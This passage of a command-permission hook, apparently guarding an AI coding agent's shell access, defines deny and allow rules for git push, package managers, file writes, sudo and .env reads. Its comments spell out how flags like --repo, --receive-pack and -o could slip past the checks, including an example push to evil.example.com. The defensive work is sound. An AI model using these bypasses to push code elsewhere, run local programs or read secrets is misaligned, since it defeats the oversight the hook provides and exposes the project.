(t === \"-o\" || t.startsWith(\"--output\")) return false;\n if (t.startsWith(\"--exec-path=\") || t.startsWith(\"--pager=\") || t.startsWith(\"--upload-pack=\") || t.startsWith(\"--receive-pack=\") || t.startsWith(\"-o=\")) return false;\n }\n for (const t of tokens.slice(1)) {\n if (GIT_REPO_REDIRECT_FLAGS.has(t)) return false;\n if (t.startsWith(\"--git-dir=\") || t.startsWith(\"--work-tree=\")) return false;\n }\n if (sub === \"rebase\") {\n for (const t of tokens.slice(1)) if (t === \"--exec\" || t === \"-x\" || t.startsWith(\"--exec=\")) return false;\n }\n const current = getCurrentBranch(ctx.cwd);\n if (current === null) return false;\n return !getProtectedBranches(ctx.cwd, ctx.repoProtectedBranches ?? []).has(current);\n}\n/** Push flags that move refs we never auto-approve: bulk, tags, deletes. */\nconst GIT_PUSH_UNSAFE_FLAGS = /* @__PURE__ */ new Set([\n \"--mirror\",\n \"--all\",\n \"--tags\",\n \"--follow-tags\",\n \"--delete\",\n \"-d\",\n \"--prune\"\n]);\n/**\n* Push-specific flags that redirect the destination or the remote-side helper\n* program independently of the positional remote/refspec parsing below.\n* `--repo` is equivalent to (and overrides) the positional <repository>\n* argument — `git push --repo=<url>` can push to an arbitrary host even with\n* zero positional args, bypassing the \"known remote\" check entirely.\n* `--receive-pack`/`--exec` tell git which program to invoke as the remote\n* helper; on local/dumb transports git runs that program directly, so this is\n* local code execution, not just a remote-side concern. All three are unlike\n* `-C`/`--git-dir`/`--work-tree` (GIT_REPO_REDIRECT_FLAGS) in that they are\n* push subcommand options, not global git flags, so they only need checking\n* after the subcommand — but the checking still has to happen.\n*/\nconst GIT_PUSH_DANGEROUS_FLAGS = /* @__PURE__ */ new Set([\n \"--repo\",\n \"--receive-pack\",\n \"--exec\"\n]);\nconst GIT_PUSH_DANGEROUS_FLAG_PREFIXES = [\n \"--repo=\",\n \"--receive-pack=\",\n \"--exec=\"\n];\n/**\n* `-o`/`--push-option` send a string to the receiving hook — but the reason\n* they must be rejected here is parsing, not the hook side effect. Unlike\n* `--repo`/`--receive-pack`/`--exec` above, which only ever appear as\n* `--flag=value`, `-o`/`--push-option` take a *space-separated* value\n* (`-o origin https://evil.example.com/x.git HEAD`). Left unrejected, that\n* value token survives the `!t.startsWith(\"-\")` positional filter below and\n* is mistaken for the remote, silently shifting the real destination into\n* the refspec position — bypassing the \"known remote\" check in (5) entirely.\n* The `=` forms (`-o=value`, `--push-option=value`) aren't exploitable this\n* way (the URL stays a refspec and gets caught by the remote check), but are\n* rejected too rather than relying on that distinction holding up.\n*/\nconst GIT_PUSH_VALUE_FLAGS = /* @__PURE__ */ new Set([\"-o\", \"--push-option\"]);\nconst GIT_PUSH_VALUE_FLAG_PREFIXES = [\"-o=\", \"--push-option=\"];\n/**\n* The ref a refspec writes to. `src:dst` targets dst; a bare `ref` targets the\n* same name on the remote. Strips the leading \"+\" (force) — callers reject that\n* separately — and any `refs/heads/` prefix.\n*/\nfunction refspecDestination(refspec) {\n const spec = refspec.startsWith(\"+\") ? refspec.slice(1) : refspec;\n const colon = spec.lastIndexOf(\":\");\n return (colon === -1 ? spec : spec.slice(colon + 1)).replace(/^refs\\/heads\\//, \"\");\n}\n/**\n* Structural safety check shared by `isGitSafePush` and\n* `isGitPushWithoutExplicitRefspec`. Every condition must hold:\n*\n* 1. No global dangerous flag (config/exec injection) or repo-redirect flag.\n* 2. No bulk/tag/delete flag (GIT_PUSH_UNSAFE_FLAGS), no --repo /\n* --receive-pack / --exec (GIT_PUSH_DANGEROUS_FLAGS), and no -o /\n* --push-option (GIT_PUSH_VALUE_FLAGS) — these redirect the destination,\n* the remote-side helper, or (for -o) the positional parse itself\n* independently of the remote/refspec parsing below, so they must be\n* rejected up front.\n* 3. No refspec begins with \"+\" — a force-push the `--force` deny rule misses.\n* 4. Every refspec's *destination* is a non-protected branch, doesn't have\n* an empty source (\":branch\", the unflagged spelling of --delete/-d),\n* and isn't under refs/tags/ (the unflagged spelling of --tags). A\n* current-branch check alone would happily approve `git push origin\n* HEAD:main`.\n* 5. The remote, when named, is a configured remote — never a URL or path, so\n* the repo cannot be pushed to an arbitrary host.\n* 6. The current branch is known and not protected.\n*\n* Deliberately does NOT require a refspec to be present — an empty refspec\n* list (bare `git push` / `git push origin`) is structurally fine by these\n* six rules, it's just *ambiguous*: git resolves the actual destination from\n* push.default / branch.<x>.merge, config this hook does not (and, as of the\n* .git/ write deny rule, no longer needs to) trust. Callers decide what to do\n* with that ambiguity — `isGitSafePush` requires refspecs.length > 0;\n* `isGitPushWithoutExplicitRefspec` requires the opposite, so the `git-write`\n* deny rule can route the ambiguous case to passthrough instead of a hard deny.\n*\n* Returns the parsed refspec list on success, or `null` on any failure.\n*/\nfunction gitPushStructuralRefspecs(tokens, ctx) {\n if (getGitSubcommand(tokens) !== \"push\") return null;\n const pushIdx = tokens.indexOf(\"push\");\n for (const t of tokens.slice(1, pushIdx)) {\n if (GIT_DANGEROUS_FLAGS.has(t) || GIT_REPO_REDIRECT_FLAGS.has(t)) return null;\n if (t.startsWith(\"--exec-path=\") || t.startsWith(\"--git-dir=\") || t.startsWith(\"--work-tree=\")) return null;\n }\n const after = tokens.slice(pushIdx + 1);\n if (after.some((t) => GIT_PUSH_UNSAFE_FLAGS.has(t) || GIT_PUSH_DANGEROUS_FLAGS.has(t) || GIT_PUSH_DANGEROUS_FLAG_PREFIXES.some((p) => t.startsWith(p)) || GIT_PUSH_VALUE_FLAGS.has(t) || GIT_PUSH_VALUE_FLAG_PREFIXES.some((p) => t.startsWith(p)))) return null;\n const current = getCurrentBranch(ctx.cwd);\n if (current === null) return null;\n const protectedSet = getProtectedBranches(ctx.cwd, ctx.repoProtectedBranches ?? []);\n if (protectedSet.has(current)) return null;\n const positional = after.filter((t) => !t.startsWith(\"-\"));\n const maybeRemote = positional[0];\n const refspecs = positional.slice(1);\n if (maybeRemote !== void 0 && !getRemotes(ctx.cwd).has(maybeRemote)) return null;\n for (const spec of refspecs) {\n if (spec.startsWith(\"+\")) return null;\n if (spec.startsWith(\":\")) return null;\n const dst = refspecDestination(spec);\n if (protectedSet.has(dst)) return null;\n if (dst.startsWith(\"refs/tags/\")) return null;\n }\n return refspecs;\n}\n/**\n* True when `git push` is safe to auto-approve: structurally safe (see\n* `gitPushStructuralRefspecs`) AND carries at least one explicit refspec\n* positional argument. Without one — bare `git push`, or `git push <remote>`\n* with no refspec — the destination comes from push.default /\n* branch.<x>.merge, which this rule does not resolve or trust; see\n* `isGitPushWithoutExplicitRefspec` for that case.\n*\n* `--force-with-lease` is deliberately permitted: it is the alternative the\n* `git-force-push` deny rule already points users at, and it is routine after a\n* rebase. `--force`/`-f` remain denied by that rule — even when\n* `--force-with-lease` also appears; the lease does not downgrade an\n* unconditional force (see `isGitForcePush`).\n*\n* The \"cannot push to an arbitrary host\" guarantee in condition 5 holds only\n* because writes into .git/ (which is where `remote.<name>.url` lives) are\n* denied at the file-tool and path-argument layers (`git-dir-write` in\n* file-rules.ts, the `targetsGitDir` check in `arePathArgsSafe`) — this\n* function only ever reads `getRemotes()`, it does not defend the state\n* `getRemotes()` reads from. An agent with un-gated filesystem write access\n* outside this hook (e.g. a tool this hook doesn't mediate) is not\n* containable by any of this.\n*/\nfunction isGitSafePush(tokens, ctx) {\n const refspecs = gitPushStructuralRefspecs(tokens, ctx);\n return refspecs !== null && refspecs.length > 0;\n}\n/**\n* True when `git push` is otherwise structurally safe (see\n* `gitPushStructuralRefspecs`) but carries no explicit refspec — the\n* ambiguous case `isGitSafePush` rejects. Used only to keep the `git-write`\n* deny rule from firing for this shape, so it falls through to passthrough\n* (normal human review) instead of a hard deny — the push isn't known-unsafe,\n* it's merely unresolved.\n*\n* A push that fails `gitPushStructuralRefspecs` for an actual reason\n* (protected branch, dangerous flag, unconfigured remote, ...) returns false\n* here too, so the `git-write` deny still fires for those.\n*/\nfunction isGitPushWithoutExplicitRefspec(tokens, ctx) {\n const refspecs = gitPushStructuralRefspecs(tokens, ctx);\n return refspecs !== null && refspecs.length === 0;\n}\n/** pnpm built-in subcommands (not user-defined scripts) */\nconst PNPM_BUILTINS = /* @__PURE__ */ new Set([\n \"install\",\n \"i\",\n \"add\",\n \"remove\",\n \"rm\",\n \"uninstall\",\n \"un\",\n \"update\",\n \"up\",\n \"upgrade\",\n \"list\",\n \"ls\",\n \"ll\",\n \"la\",\n \"why\",\n \"view\",\n \"info\",\n \"show\",\n \"outdated\",\n \"audit\",\n \"licenses\",\n \"init\",\n \"create\",\n \"link\",\n \"unlink\",\n \"pack\",\n \"publish\",\n \"config\",\n \"set\",\n \"get\",\n \"store\",\n \"cache\",\n \"rebuild\",\n \"rb\",\n \"prune\",\n \"dedupe\",\n \"dlx\",\n \"exec\",\n \"run\",\n \"patch\",\n \"patch-commit\",\n \"recursive\",\n \"-r\"\n]);\n/** Read-only pnpm commands that are always safe */\nconst PNPM_SAFE_BUILTINS = /* @__PURE__ */ new Set([\n \"list\",\n \"ls\",\n \"ll\",\n \"la\",\n \"why\",\n \"view\",\n \"info\",\n \"show\",\n \"outdated\"\n]);\nfunction isPnpmSafe(tokens) {\n const subTokens = tokens.slice(1);\n let subcommand;\n for (const t of subTokens) {\n if (t.startsWith(\"-\") && !PNPM_BUILTINS.has(t)) continue;\n subcommand = t;\n break;\n }\n if (!subcommand) return false;\n if (PNPM_SAFE_BUILTINS.has(subcommand)) return true;\n if (subcommand === \"install\" || subcommand === \"i\") return subTokens.slice(subTokens.indexOf(subcommand) + 1).every((t) => t.startsWith(\"-\"));\n if (subcommand === \"store\") return subTokens.slice(subTokens.indexOf(subcommand) + 1).find((t) => !t.startsWith(\"-\")) === \"status\";\n return false;\n}\nconst NPM_READ_OPS = /* @__PURE__ */ new Set([\n \"view\",\n \"info\",\n \"show\"\n]);\nfunction isNpmReadOp(tokens) {\n const sub = tokens[1];\n return sub !== void 0 && NPM_READ_OPS.has(sub);\n}\n/** Map npm subcommand to a pnpm redirect message */\nfunction getNpmRedirectReason(tokens) {\n const sub = tokens[1];\n const BASE = \"This project uses pnpm.\";\n if (!sub) return `${BASE} Use \\`pnpm\\` instead of npm.`;\n if (sub === \"install\" || sub === \"i\" || sub === \"ci\") {\n if (tokens.slice(2).some((t) => !t.startsWith(\"-\"))) return `${BASE} Use \\`pnpm add <pkg>\\` instead of \\`npm install <pkg>\\`.`;\n return `${BASE} Use \\`pnpm install\\` instead of npm.`;\n }\n if (sub === \"add\") return `${BASE} Use \\`pnpm add <pkg>\\` instead of npm.`;\n if (sub === \"uninstall\" || sub === \"remove\" || sub === \"rm\" || sub === \"un\" || sub === \"r\") return `${BASE} Use \\`pnpm remove <pkg>\\` instead of npm.`;\n if (sub === \"run\" || sub === \"run-script\") return `${BASE} Use \\`pnpm run <script>\\` or \\`pnpm <script>\\` instead of npm.`;\n if (sub === \"test\" || sub === \"t\" || sub === \"tst\") return `${BASE} Use \\`pnpm test\\` instead of npm.`;\n if (sub === \"start\") return `${BASE} Use \\`pnpm start\\` instead of npm.`;\n if (sub === \"stop\") return `${BASE} Use \\`pnpm stop\\` instead of npm.`;\n if (sub === \"restart\") return `${BASE} Use \\`pnpm restart\\` instead of npm.`;\n if (sub === \"exec\") return `${BASE} Use \\`pnpm exec <cmd>\\` instead of npm.`;\n if (sub === \"list\" || sub === \"ls\" || sub === \"ll\" || sub === \"la\") return `${BASE} Use \\`pnpm list\\` instead of npm.`;\n if (sub === \"why\") return `${BASE} Use \\`pnpm why\\` instead of npm.`;\n if (sub === \"outdated\") return `${BASE} Use \\`pnpm outdated\\` instead of npm.`;\n if (sub === \"audit\") return `${BASE} Use \\`pnpm audit\\` instead of npm.`;\n if (sub === \"update\" || sub === \"up\" || sub === \"upgrade\") return `${BASE} Use \\`pnpm update\\` instead of npm.`;\n if (sub === \"init\") return `${BASE} Use \\`pnpm init\\` instead of npm.`;\n if (sub === \"publish\") return `${BASE} Use \\`pnpm publish\\` instead of npm.`;\n if (sub === \"link\") return `${BASE} Use \\`pnpm link\\` instead of npm.`;\n if (sub === \"unlink\") return `${BASE} Use \\`pnpm unlink\\` instead of npm.`;\n if (sub === \"pack\") return `${BASE} Use \\`pnpm pack\\` instead of npm.`;\n if (sub === \"cache\") return `${BASE} Use \\`pnpm store\\` instead of \\`npm cache\\`.`;\n if (sub === \"config\" || sub === \"set\" || sub === \"get\") return `${BASE} Use \\`pnpm config\\` instead of npm.`;\n return `${BASE} Use the equivalent pnpm command instead of npm.`;\n}\n/**\n* Commands whose write destination is the *last* positional argument\n* (`cp src dst`, `mv src dst`, `rsync -a src/ dst/`, `install -m 755 src dst`,\n* `ln -f src dst`).\n*/\nconst LAST_POSITIONAL_DEST = /* @__PURE__ */ new Set([\n \"cp\",\n \"mv\",\n \"rsync\",\n \"install\",\n \"ln\"\n]);\n/** Commands where *every* positional is written to (`tee a b`, `truncate -s 0 f`). */\nconst ALL_POSITIONAL_DEST = /* @__PURE__ */ new Set([\"tee\", \"truncate\"]);\n/** `-t DIR` / `--target-directory[=DIR]` — an explicit destination directory. */\nfunction explicitTargetDirectory(rest) {\n for (const [i, t] of rest.entries()) {\n if (t === \"-t\" || t === \"--target-directory\") return rest[i + 1] ?? null;\n if (t.startsWith(\"--target-directory=\")) return t.slice(19);\n }\n return null;\n}\n/**\n* Destination paths named by shell redirects (`> f`, `>> f`, `2> f`, `>f`).\n*\n* Checked for *every* command, not just known write tools: the shell splitter\n* leaves redirect tokens inside the segment, so without this an unrecognized\n* command (`some-generator > node_modules/pkg/index.js`) would sail past a\n* command-keyed rule. Over-capture here is harmless — a bogus \"destination\"\n* like `&1` from `2>&1` simply doesn't resolve into node_modules.\n*/\nfunction redirectDestinations(tokens) {\n const dests = [];\n for (const [i, t] of tokens.entries()) {\n if (/^(?:\\d*|&)>{1,2}$/.test(t)) {\n const next = tokens[i + 1];\n if (next !== void 0) dests.push(next);\n continue;\n }\n const attached = /^(?:\\d*|&)>{1,2}(.+)$/.exec(t);\n if (attached?.[1] !== void 0) dests.push(attached[1]);\n }\n return dests;\n}\n/**\n* Every path this command would *write to*. Sources are deliberately excluded:\n* reading out of `node_modules` (`cat node_modules/pkg/package.json`,\n* `cp node_modules/pkg/README.md docs/`) is routine and stays allowed. Only the\n* destination side can corrupt anything.\n*/\nfunction writeDestinations(tokens) {\n const cmd = path.basename(tokens[0] ?? \"\");\n const rest = tokens.slice(1);\n const dests = redirectDestinations(tokens);\n if (cmd === \"dd\") dests.push(...rest.filter((t) => t.startsWith(\"of=\")).map((t) => t.slice(3)));\n else if (cmd === \"sed\") {\n if (rest.some((t) => t === \"--in-place\" || /^-[a-zA-Z]*i/.test(t))) dests.push(...rest.filter((t) => !t.startsWith(\"-\")));\n } else if (ALL_POSITIONAL_DEST.has(cmd)) dests.push(...rest.filter((t) => !t.startsWith(\"-\")));\n else if (LAST_POSITIONAL_DEST.has(cmd)) {\n if (cmd === \"cp\" && rest.includes(\"--remove-destination\")) return dests;\n const targetDir = explicitTargetDirectory(rest);\n if (targetDir !== null) dests.push(targetDir);\n else {\n const last = rest.findLast((t) => !t.startsWith(\"-\"));\n if (last !== void 0) dests.push(last);\n }\n }\n return dests;\n}\n/**\n* True when the command writes anything into a `node_modules/` tree.\n*\n* See `targetsNodeModules` for why this is a hard deny rather than a prompt:\n* `node_modules` is hardlinked into pnpm's global content-addressable store, so\n* an in-place overwrite silently corrupts that package for every project on the\n* machine — and the directory doing the writing looks perfectly fine afterward.\n* The 2026-07-13 store poisoning was exactly this, and it was *human-approved*\n* at the prompt, which is why a passthrough would not have stopped it.\n*/\nfunction writesIntoNodeModules(tokens, ctx) {\n return writeDestinations(tokens).some((d) => targetsNodeModules(d, ctx.cwd));\n}\n/** Shared by the `node-modules-write` deny rule and the early check in `evaluate.ts`. */\nconst NODE_MODULES_WRITE_REASON = \"Don't write into node_modules/. Its files are hardlinks into pnpm's global store, so overwriting one in place (plain `cp`, `>` redirect, `sed -i`, …) writes through the link and corrupts that package for every project on this machine — silently, since the directory you wrote into ends up fine. To test a local build as an installed dependency, run it directly (`node packages/<pkg>/dist/bin.mjs <cmd>`), or install into a scratch tree with an isolated store (`pnpm add --store-dir <scratch> <pkg>`). If you must replace a file in place, `cp --remove-destination` is safe — it unlinks the target first. Run `pnpm store status` to check whether the store is already damaged.\";\nfunction arePathArgsSafe(tokens, ctx) {\n for (const t of tokens.slice(1)) {\n if (t.startsWith(\"-\")) {\n if (t === \"-t\" || t.startsWith(\"--target-directory\")) return false;\n continue;\n }\n if (path.basename(t).startsWith(\".\")) return false;\n if (t.startsWith(\"~/\") || t === \"~\") return false;\n if (targetsGitDir(t, ctx.cwd)) return false;\n if (!isWithin(ctx.cwd, resolveIn(ctx.cwd, t))) return false;\n }\n return true;\n}\nconst FIND_ALWAYS_DANGEROUS = /* @__PURE__ */ new Set([\n \"-ok\",\n \"-okdir\",\n \"-delete\",\n \"-fprint\",\n \"-fprint0\",\n \"-fprintf\",\n \"-fls\"\n]);\nconst FIND_EXEC_SAFE_COMMANDS = /* @__PURE__ */ new Set([\n \"cat\",\n \"head\",\n \"tail\",\n \"grep\",\n \"egrep\",\n \"fgrep\",\n \"ls\",\n \"wc\",\n \"file\",\n \"stat\",\n \"basename\",\n \"dirname\",\n \"realpath\",\n \"readlink\",\n \"sha256sum\",\n \"sha1sum\",\n \"md5sum\",\n \"echo\"\n]);\n/**\n* Extracts the command name from a `-exec` or `-execdir` block.\n* Returns the basename of the first token after `-exec`/`-execdir`,\n* or undefined if the block is malformed.\n*/\nfunction findExecCommand(tokens, startIdx) {\n const cmdToken = tokens[startIdx + 1];\n if (!cmdToken || cmdToken === \"{}\" || cmdToken === \";\" || cmdToken === \"+\") return void 0;\n return path.basename(cmdToken);\n}\nfunction isFindSafe(tokens) {\n for (let i = 0; i < tokens.length; i++) {\n const t = tokens[i];\n if (t === void 0) continue;\n if (FIND_ALWAYS_DANGEROUS.has(t)) return false;\n if (t === \"-exec\" || t === \"-execdir\") {\n const cmd = findExecCommand(tokens, i);\n if (!cmd || !FIND_EXEC_SAFE_COMMANDS.has(cmd)) return false;\n }\n }\n return true;\n}\nfunction isSortSafe(tokens) {\n return !tokens.includes(\"-o\") && !tokens.some((t) => t.startsWith(\"--output\"));\n}\nfunction isRmRecursive(tokens) {\n const rmIdx = tokens.findIndex((t) => path.basename(t) === \"rm\");\n if (rmIdx === -1) return false;\n const afterRm = tokens.slice(rmIdx + 1);\n const shortFlags = afterRm.filter((t) => t.startsWith(\"-\") && !t.startsWith(\"--\"));\n const longFlags = afterRm.filter((t) => t.startsWith(\"--\"));\n const hasRecursiveShort = shortFlags.some((f) => /[rR]/.test(f));\n const hasRecursiveLong = longFlags.includes(\"--recursive\");\n return hasRecursiveShort || hasRecursiveLong;\n}\nfunction isChmod777(tokens) {\n return tokens.some((t) => t === \"777\" || t === \"0777\");\n}\nfunction isGitForcePush(tokens) {\n const pushIdx = tokens.indexOf(\"push\");\n if (pushIdx === -1) return false;\n return tokens.slice(pushIdx + 1).some((t) => t === \"--force\" || t === \"-f\");\n}\nfunction isGitResetHardOnMain(tokens) {\n if (!(tokens.includes(\"reset\") && tokens.includes(\"--hard\"))) return false;\n if (tokens.some((t) => t === \"main\" || t === \"master\")) return true;\n const positionalArgs = tokens.filter((t) => t !== \"git\" && t !== \"reset\" && !t.startsWith(\"-\"));\n return positionalArgs.length === 0 || positionalArgs.includes(\"HEAD\");\n}\n/** bst subcommands that are safe to auto-approve (read-only or local-only). */\nconst BST_SAFE_SUBCOMMANDS = /* @__PURE__ */ new Set([\n \"checks:run\",\n \"hooks:audit\",\n \"hooks:sync\",\n \"docker:build\",\n \"docker:check\",\n \"repo:sync\",\n \"coverage:check\",\n \"coverage:summary\",\n \"coverage:status\",\n \"health:check\",\n \"health:summary\",\n \"health:status\",\n \"docs:check\",\n \"pr:create\",\n \"issue:view\",\n \"issue:list\",\n \"issue:download\"\n]);\n/**\n* Flags that disqualify an otherwise-safe bst subcommand from auto-approval.\n*\n* `issue:download` is a remote read whose local write is confined to --out, sanitized\n* to a basename, and never overwrites. `--force` is exactly the power to overwrite an\n* existing local file with remote-controlled bytes, so it prompts.\n*\n* Matching is deliberately conservative: any occurrence of the flag token anywhere in\n* the command (as a bare flag, `--flag=value`, after a `--` separator, or even as the\n* value of another flag) disqualifies. A flag that *might* be present is treated the\n* same as one that definitely is — fail closed rather than try to model citty's\n* argument parsing (positional vs. flag-value) here.\n*/\nconst BST_UNSAFE_FLAGS = { \"issue:download\": [\"--force\"] };\nfunction hasDisqualifyingFlag(sub, tokens) {\n const flags = BST_UNSAFE_FLAGS[sub];\n if (!flags) return false;\n return tokens.some((token) => flags.some((flag) => token === flag || token.startsWith(`${flag}=`)));\n}\nfunction isBstSafe(tokens) {\n const sub = tokens[1];\n if (!sub) return false;\n if (!BST_SAFE_SUBCOMMANDS.has(sub)) return false;\n return !hasDisqualifyingFlag(sub, tokens);\n}\n/** True when `token` resolves to a `.md` file inside the project's `docs/` directory. */\nfunction isDocsMarkdownPath(token, ctx) {\n if (token.startsWith(\"~\")) return false;\n if (!token.endsWith(\".md\")) return false;\n return isWithin(resolveIn(ctx.cwd, \"docs\"), resolveIn(ctx.cwd, token));\n}\n/** True when a plain `mv` only moves `.md` files within `docs/`. */\nfunction isMvDocsSafe(tokens, ctx) {\n const paths = [];\n for (const t of tokens.slice(1)) {\n if (t.startsWith(\"-\")) {\n if (t === \"-t\" || t.startsWith(\"--target-directory\")) return false;\n continue;\n }\n paths.push(t);\n }\n return paths.length >= 2 && paths.every((p) => isDocsMarkdownPath(p, ctx));\n}\n/** Short sed flags that take no argument and may be bundled (e.g. `-ne`). */\nconst SED_NOARG_SHORT_CHARS = /* @__PURE__ */ new Set([\n \"n\",\n \"E\",\n \"r\",\n \"s\",\n \"u\",\n \"z\"\n]);\n/** Long sed flags that take no argument (an optional `=value` is still self-contained). */\nconst SED_KNOWN_LONG_NOARG = /* @__PURE__ */ new Set([\n \"--quiet\",\n \"--silent\",\n \"--debug\",\n \"--follow-symlinks\",\n \"--in-place\",\n \"--posix\",\n \"--regexp-extended\",\n \"--separate\",\n \"--sandbox\",\n \"--unbuffered\",\n \"--null-data\",\n \"--help\",\n \"--version\"\n]);\n/**\n* True when `sed` targets only `.md` files under `docs/`.\n*\n* Parses sed's argument grammar enough to tell the script token from file\n* tokens: when neither `-e` nor `-f` is present the first positional is the\n* script, otherwise every positional is a file. Unknown or ambiguous flags\n* make the check bail (→ passthrough) rather than guess.\n*/\nfunction isSedDocsSafe(tokens, ctx) {\n let sawScriptOption = false;\n let skipNext = false;\n const positionals = [];\n for (const t of tokens.slice(1)) {\n if (skipNext) {\n skipNext = false;\n continue;\n }\n if (t === \"-\" || !t.startsWith(\"-\")) {\n positionals.push(t);\n continue;\n }\n if (t.startsWith(\"--\")) {\n const eq = t.indexOf(\"=\");\n const base = eq === -1 ? t : t.slice(0, eq);\n if (base === \"--expression\" || base === \"--file\") {\n sawScriptOption = true;\n if (eq === -1) skipNext = true;\n continue;\n }\n if (base === \"--line-length\") {\n if (eq === -1) skipNext = true;\n continue;\n }\n if (SED_KNOWN_LONG_NOARG.has(base)) continue;\n return false;\n }\n const body = t.slice(1);\n for (let c = 0; c < body.length; c++) {\n const ch = body[c];\n if (ch === \"i\") break;\n if (ch === \"e\" || ch === \"f\") {\n sawScriptOption = true;\n if (c === body.length - 1) skipNext = true;\n break;\n }\n if (ch === \"l\") {\n if (c === body.length - 1) skipNext = true;\n break;\n }\n if (!SED_NOARG_SHORT_CHARS.has(ch)) return false;\n }\n }\n const files = sawScriptOption ? positionals : positionals.slice(1);\n return files.length > 0 && files.every((f) => isDocsMarkdownPath(f, ctx));\n}\nconst denyRules = [\n {\n name: \"rm-recursive\",\n match: /^rm$/,\n action: \"deny\",\n when: (tokens) => isRmRecursive(tokens),\n reason: \"Don't use recursive `rm`. Use more targeted deletes, or remove specific files/directories.\"\n },\n {\n name: \"sudo\",\n match: /^sudo$/,\n action: \"deny\",\n reason: \"Don't use sudo. If you need elevated permissions, ask me to do it manually.\"\n },\n {\n name: \"git-force-push\",\n match: /^git$/,\n action: \"deny\",\n when: (tokens) => isGitForcePush(tokens),\n reason: \"Use `git push --force-with-lease` instead of `--force`.\"\n },\n {\n name: \"git-reset-hard\",\n match: /^git$/,\n action: \"deny\",\n when: (tokens, ctx) => isGitResetHardOnMain(tokens) && !isGitFeatureBranchWrite(tokens, ctx),\n reason: \"Don't `reset --hard` on main. Create a branch first.\"\n },\n {\n name: \"git-write\",\n match: /^git$/,\n action: \"deny\",\n when: (tokens, ctx) => isGitWriteOp(tokens) && !isGitSafeWriteOp(tokens, ctx) && !isGitFeatureBranchWrite(tokens, ctx) && !isGitSafePush(tokens, ctx) && !isGitPushWithoutExplicitRefspec(tokens, ctx),\n reason: \"Git write operations (push, commit, reset, merge, etc.) are not allowed. Ask the user to run these manually.\"\n },\n {\n name: \"chmod-777\",\n match: /^chmod$/,\n action: \"deny\",\n when: (tokens) => isChmod777(tokens),\n reason: \"Don't use 777 permissions. Use more restrictive permissions.\"\n },\n {\n name: \"node-modules-write\",\n match: /./,\n action: \"deny\",\n when: (tokens, ctx) => writesIntoNodeModules(tokens, ctx),\n reason: NODE_MODULES_WRITE_REASON\n },\n {\n name: \"env-file-read\",\n match: /^(cat|head|tail|less|more|grep)$/,\n action: \"deny\",\n when: (tokens) => tokensTargetEnvFile(tokens),\n reason: \"Don't read .env files. These contain secrets that should not appear in the conversation.\"\n },\n {\n name: \"npx-redirect\",\n match: /^npx$/,\n action: \"deny\",\n reason: \"This project uses pnpm. Use `pnpm dlx <pkg>` or `pnpm exec <cmd>` instead of npx.\"\n }\n];\nconst allowRules = [\n {\n name: \"vitest\",\n match: /^vitest$/,\n action: \"allow\"\n },\n {\n name: \"jest\",\n match: /^jest$/,\n action: \"allow\"\n },\n {\n name: \"tsc\",\n match: /^tsc$/,\n action: \"allow\"\n },\n {\n name: \"tsdown\",\n match: /^tsdown$/,\n action: \"allow\"\n },\n {\n name: \"bst\",\n match: /^bst$/,\n action: \"allow\",\n when: (tokens) => isBstSafe(tokens)\n },\n {\n name: \"oxlint\",\n match: /^oxlint$/,\n action: \"allow\"\n },\n {\n name: \"oxfmt\",\n match: /^oxfmt$/,\n action: \"allow\"\n },\n {\n name: \"eslint\",\n match: /^eslint$/,\n action: \"allow\"\n },\n {\n name: \"prettier\",\n match: /^prettier$/,\n action: \"allow\"\n },\n {\n name: \"biome\",\n match: /^biome$/,\n action: \"allow\"\n },\n {\n name: \"knip\",\n match: /^knip$/,\n action: \"allow\"\n },\n {\n name: \"cat\",\n match: /^cat$/,\n action: \"allow\"\n },\n {\n name: \"head\",\n match: /^head$/,\n action: \"allow\"\n },\n {\n name: \"tail\",\n match: /^tail$/,\n action: \"allow\"\n },\n {\n name: \"grep\",\n match: /^grep$/,\n action: \"allow\"\n },\n {\n name: \"ls\",\n match: /^ls$/,\n action: \"allow\"\n },\n {\n name: \"wc\",\n match: /^wc$/,\n action: \"allow\"\n },\n {\n name: \"uniq\",\n match: /^uniq$/,\n action: \"allow\"\n },\n {\n name: \"diff\",\n match: /^diff$/,\n action: \"allow\"\n },\n {\n name: \"echo\",\n match: /^echo$/,\n action: \"allow\"\n },\n {\n name: \"pwd\",\n match: /^pwd$/,\n action: \"allow\"\n },\n {\n name: \"which\",\n match: /^which$/,\n action: \"allow\"\n },\n {\n name: \"dirname\",\n match: /^dirname$/,\n action: \"allow\"\n },\n {\n name: \"basename\",\n match: /^basename$/,\n action: \"allow\"\n },\n {\n name: \"realpath\",\n match: /^realpath$/,\n action: \"allow\"\n },\n {\n name: \"npm\",\n match: /^npm$/,\n action: \"allow\",\n when: (tokens) => isNpmReadOp(tokens)\n },\n {\n name: \"test\",\n match: /^test$/,\n action: \"allow\"\n },\n {\n name: \"bracket-test\",\n match: /^\\[$/,\n action: \"allow\"\n },\n {\n name: \"cd\",\n match: /^cd$/,\n action: \"allow\"\n },\n {\n name: \"true\",\n match: /^true$/,\n action: \"allow\"\n },\n {\n name: \"colon\",\n match: /^:$/,\n action: \"allow\"\n },\n {\n name: \"find\",\n match: /^find$/,\n action: \"allow\",\n when: (tokens) => isFindSafe(tokens)\n },\n {\n name: \"sort\",\n match: /^sort$/,\n action: \"allow\",\n when: (tokens) => isSortSafe(tokens)\n },\n {\n name: \"git\",\n match: /^git$/,\n action: \"allow\",\n when: (tokens) => isGitReadOp(tokens)\n },\n {\n name: \"git-safe-write\",\n match: /^git$/,\n action: \"allow\",\n when: (tokens, ctx) => isGitSafeWriteOp(tokens, ctx)\n },\n {\n name: \"git-feature-branch-write\",\n match: /^git$/,\n action: \"allow\",\n when: (tokens, ctx) => isGitFeatureBranchWrite(tokens, ctx)\n },\n {\n name: \"git-safe-push\",\n match: /^git$/,\n action: \"allow\",\n when: (tokens, ctx) => isGitSafePush(tokens, ctx)\n },\n {\n name: \"pnpm\",\n match: /^pnpm$/,\n action: \"allow\",\n when: (tokens) => isPnpmSafe(tokens)\n },\n {\n name: \"cp\",\n match: /^cp$/,\n action: \"allow\",\n when: (tokens, ctx) => arePathArgsSafe(tokens, ctx)\n },\n {\n name: \"mkdir\",\n match: /^mkdir$/,\n action: \"allow\",\n when: (tokens, ctx) => arePathArgsSafe(tokens, ctx)\n },\n {\n name: \"touch\",\n match: /^touch$/,\n action: \"allow\",\n when: (tokens, ctx) => arePathArgsSafe(tokens, ctx)\n },\n {\n name: \"mv-docs\",\n match: /^mv$/,\n action: \"allow\",\n when: (tokens, ctx) => isMvDocsSafe(tokens, ctx)\n },\n {\n name: \"sed-docs\",\n match: /^sed$/,\n action: \"allow\",\n when: (tokens, ctx) => 